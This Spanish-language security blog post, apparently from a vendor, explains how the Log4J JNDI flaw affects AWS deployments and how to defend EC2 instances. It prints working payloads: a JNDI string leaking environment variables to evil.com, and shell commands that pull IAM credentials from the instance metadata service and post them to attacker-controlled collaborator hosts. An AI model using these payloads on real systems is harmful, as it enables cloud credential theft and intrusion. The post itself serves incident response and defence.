¿Qué significa Log4J para los entornos cloud ?
A menos que hayas estado viviendo felizmente bajo una roca, las últimas dos semanas en seguridad y tecnología se han consumido con una importante vulnerabilidad en la biblioteca Java Log4J. La vulnerabilidad Log4J JNDI no es tanto una única vulnerabilidad, sino más bien una plataforma para lanzar ataques a través de la ejecución remota de código.
A estas alturas, el personal de respuesta, los analistas y los ingenieros están trabajando en los siguientes pasos de respuesta a los rápidos
- Identificación de los sistemas afectados y aplicación de parches
- Credenciales rotativas
- Buscando indicadores de compromiso
Este post aborda el tercer paso en la respuesta, la búsqueda de indicadores de compromiso y la comprensión del impacto potencial de una biblioteca Log4J vulnerable, específicamente cuando se implementa en un entorno de cloud pública. Esto se suma a otras declaraciones de Vectra sobre el tema en relación con las redes locales.
¿Cómo pueden los atacantes explotar la vulnerabilidad Log4J?
Log4J fundamentalmente es una vulnerabilidad de inyección con dos vías para la explotación de un sistema.
1. Ejecución remota de código a través de un archivo de clase Java externo
- Con la vulnerabilidad de inyección en el marco de trabajo de registro Log4J, es posible provocar que un servidor víctima realice una solicitud HTTP a un servidor remoto donde el servidor víctima espera que se le devuelva un archivo de clase Java.
- Cuando el atacante controla el servidor externo, también controla el contenido devuelto a la víctima en la respuesta. Aquí, el código arbitrario puede ser entregado al servidor de la víctima, incrustado dentro de un archivo de clase Java y será ejecutado por el servidor de la víctima.
2. Exfiltración de datos mediante búsqueda DNS
- El servidor víctima es inducido a realizar una consulta saliente a un servidor externo como resultado de una vulnerabilidad de inyección. Dado que el atacante controla el nombre de host del servidor externo, esto se convierte en un mecanismo para filtrar el valor de las variables de entorno.
- Example: ${jndi:ldap://${uname}.${AWS_PROFILE}.evil.com:3489/a}
¿Cómo afecta la vulnerabilidad de Log4J a las implantaciones cloud ?
Se ha informado y reconocido ampliamente que con una biblioteca Log4J vulnerable en un sistema, un atacante tendría la capacidad de recuperar el valor de cualquier variable de entorno a través de la filtración de datos mediante el mecanismo de búsqueda DNS. Se han difundido variables de AWS que contienen secretos con la expectativa de que estas variables específicas de AWS podrían encontrarse comúnmente en entornos de cloud .
Sin embargo, asignar secretos a variables de entorno es una mala práctica y no es probable que se encuentre en la mayor superficie de ataque en AWS, la instancia EC2.
Es probable que las variables de entorno específicas de AWS se establezcan en los puntos finales - estaciones de trabajo donde awscli ha sido configurado por un usuario final y en funciones lambda donde las variables 'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY' y 'AWS_SESSION_TOKEN' están preconfiguradas por el tiempo de ejecución.
NO ES PROBABLE que se encuentren variables de entorno específicas de AWS en las instancias EC2. En su lugar, las aplicaciones que se ejecutan en instancias AWS EC2 utilizarían las credenciales temporales del perfil de instancia EC2 asignado a la instancia EC2. Estas credenciales temporales son emitidas por un endpoint HTTP interno llamado Instance Metadata Service (IMDS). Como tal, podemos utilizar la vulnerabilidad Log4J para extraer estas credenciales de una Instancia EC2.
Uso de ejecución remota de código para extraer credenciales de metadatos de instancia
Aprovechando la navaja suiza de la vulnerabilidad Log4J, un actor malicioso podría extraer credenciales de sesión temporales de una instancia EC2 y actuar contra sus recursos de AWS.
Ejemplo de posible ruta de ataque con cargas útiles
1. Inyectar una carga útil JNDI que ordene al EC2 víctima consultar la API de metadatos de instancia interna para el rol de IAM con el que se está ejecutando el EC2, guardar el nombre del rol en un archivo y enviarlo de vuelta al endpoint controlado por el atacante.
- 1ª carga útil entregada a las instancias EC2 que ejecutan IMDSv1: /bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials >> /tmp/role && curl -d $(cat /tmp/role) http://34820348230948320948209.burpcollaborator.net'
2. Armado con el nombre de rol, inyectar otra carga útil JNDI que ordene a la víctima EC2 consultar la API de metadatos de instancia interna para obtener un token de sesión temporal, guardar el token como un archivo y enviar el contenido del archivo de vuelta al endpoint controlado por el atacante.
- 2º Payload a entregar a las Instancias EC2 que ejecutan IMDSv1: /bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials/kat-JNDI-EC2-Role >> /tmp/token && curl -d @/tmp/token --http1.0 http://8u3xpjnhrq5nrlfmdobut3sztqzin7.burpcollaborator.net'
3. Un Payload JNDI final puede ser enviado instruyendo EC2 víctima para eliminar los archivos temporales creados en las dos inyecciones anteriores
El token de sesión extraído tendría un TTL por defecto de 1 hora. Un atacante podría utilizar este tiempo para realizar acciones en los recursos de AWS como si fueran la instancia EC2, quizás incluso realizar técnicas de persistencia como la creación de nuevos usuarios o roles. El impacto depende totalmente de los permisos asignados a la instancia EC2.
Variaciones de la extracción de credenciales de IMDS mediante Log4J
Los métodos potenciales para extraer credenciales del servicio de metadatos de instancia en una instancia EC2 son amplios y variados. Un atacante puede utilizar cualquier variación de una carga útil que utilice HTTP para consultar el servicio interno y recuperar las credenciales. Una carga útil podría entregarse en 2 pasos, como se ha descrito anteriormente, o condensarse en un único paso. Se podría entregar una carga útil que almacene la respuesta del servicio de metadatos de instancia en variables de entorno, donde el valor de la variable de entorno se extrae a través de una inyección JNDI secundaria. La única firma consistente en todas las variaciones posibles es la necesidad de realizar una petición HTTP al servicio de metadatos de instancia que se ejecuta en la instancia EC2.
IMDSv1 frente a IMDSv2
En respuesta a la explotación desenfrenada del servicio de metadatos de instancia EC2, en 2019 AWS anunció una v2 del servicio, IMDSv2. IMDSv2 requiere que se realicen 2 llamadas HTTP al servicio interno de metadatos de instancia EC2, con la respuesta de la primera llamada utilizada como entrada para la segunda llamada con el fin de recuperar credenciales de sesión temporales, creando efectivamente un servicio de metadatos de instancia basado en sesión. La aplicación de IMDSv2 es una estrategia crítica de defensa en profundidad a la hora de protegerse contra vulnerabilidades de aplicaciones web como SSRF, que a menudo pueden conducir a la exposición de credenciales EC2. Sin embargo, específicamente en lo que se refiere a la explotación de la vulnerabilidad Log4J, un atacante puede ejecutar comandos arbitrarios en la instancia EC2 víctima, como resultado, IMDSv2 no ofrece ninguna protección contra la extracción de credenciales temporales a través del servicio de metadatos de instancia.
¿Cómo se puede defender la huella de EC2?
Además de identificar y parchear su biblioteca Log4J vulnerable, ¿qué pueden hacer los propietarios de sistemas?
1. Limitar el radio de explosión de cualquier compromiso potencial
- Deshabilitar el endpoint HTTP del servicio de metadatos de instancia y no asignar Roles de Instancias EC2 donde no sean necesarios.
- Revise las políticas y los permisos asignados a todos sus recursos Cloud (instancias EC2, funciones Lambda, contenedores, etc.). Descifra los permisos asignados prestando especial atención a los permisos de IAM que podrían utilizarse como mecanismo de persistencia.
- Continúe siguiendo las recomendaciones que implican inspeccionar las variables de entorno en los sistemas y rotar las credenciales. Sin embargo, ten en cuenta que estas recomendaciones se quedan cortas si un atacante utiliza su acceso para consultar directamente la API de metadatos interna en busca de credenciales.
2. Identifique cualquier cambio no autorizado en su entorno.
- Cuando busque indicadores de compromiso, revise su estado de AWS en busca de nuevos recursos de IAM creados, como nuevos usuarios, roles o políticas de confianza.
Algunas reflexiones finales
Atacar la API de metadatos de instancias de EC2 no es una novedad. El abuso de este servicio ha sido descrito por investigadores desde que existen investigadores de seguridad en cloud nube. No se trata de un "nuevo bug", sino de una nueva articulación del impacto de la vulnerabilidad Log4J en la computación cloud . Aunque este artículo se centra específicamente en la amenaza contra un entorno AWS, los mismos principios son válidos para cualquier entorno GCP o Azure.
Prueba de exploits Log4J en AWS
Como parte de esta investigación, desarrollé un sandbox Log4J. Este sandbox incluye una instancia EC2 con el servidor JNDI Expoit original del investigador feihong y una aplicación vulnerable basada en java proporcionada por @christophetd. He puesto este sandbox y el Terraform para desplegar en AWS, a disposición del público para ayudar a futuros investigadores a ponerse al día en Log4J más rápido o utilizarlo como herramienta de formación en sus organizaciones.
Agradecimientos especiales
Un gran saludo a @christophetd por publicar una aplicación docker Log4J vulnerable. He utilizado su aplicación vulnerable en mis pruebas y la he incluido en mi despliegue Terraform de un Log4J Testing Sandbox.
Esté atento a un blog de seguimiento sobre cómo la detección continua de amenazas puede evitar que el compromiso inicial de los atacantes progrese en su huella AWS - y cómo Vectra's Detect for AWS ofrece.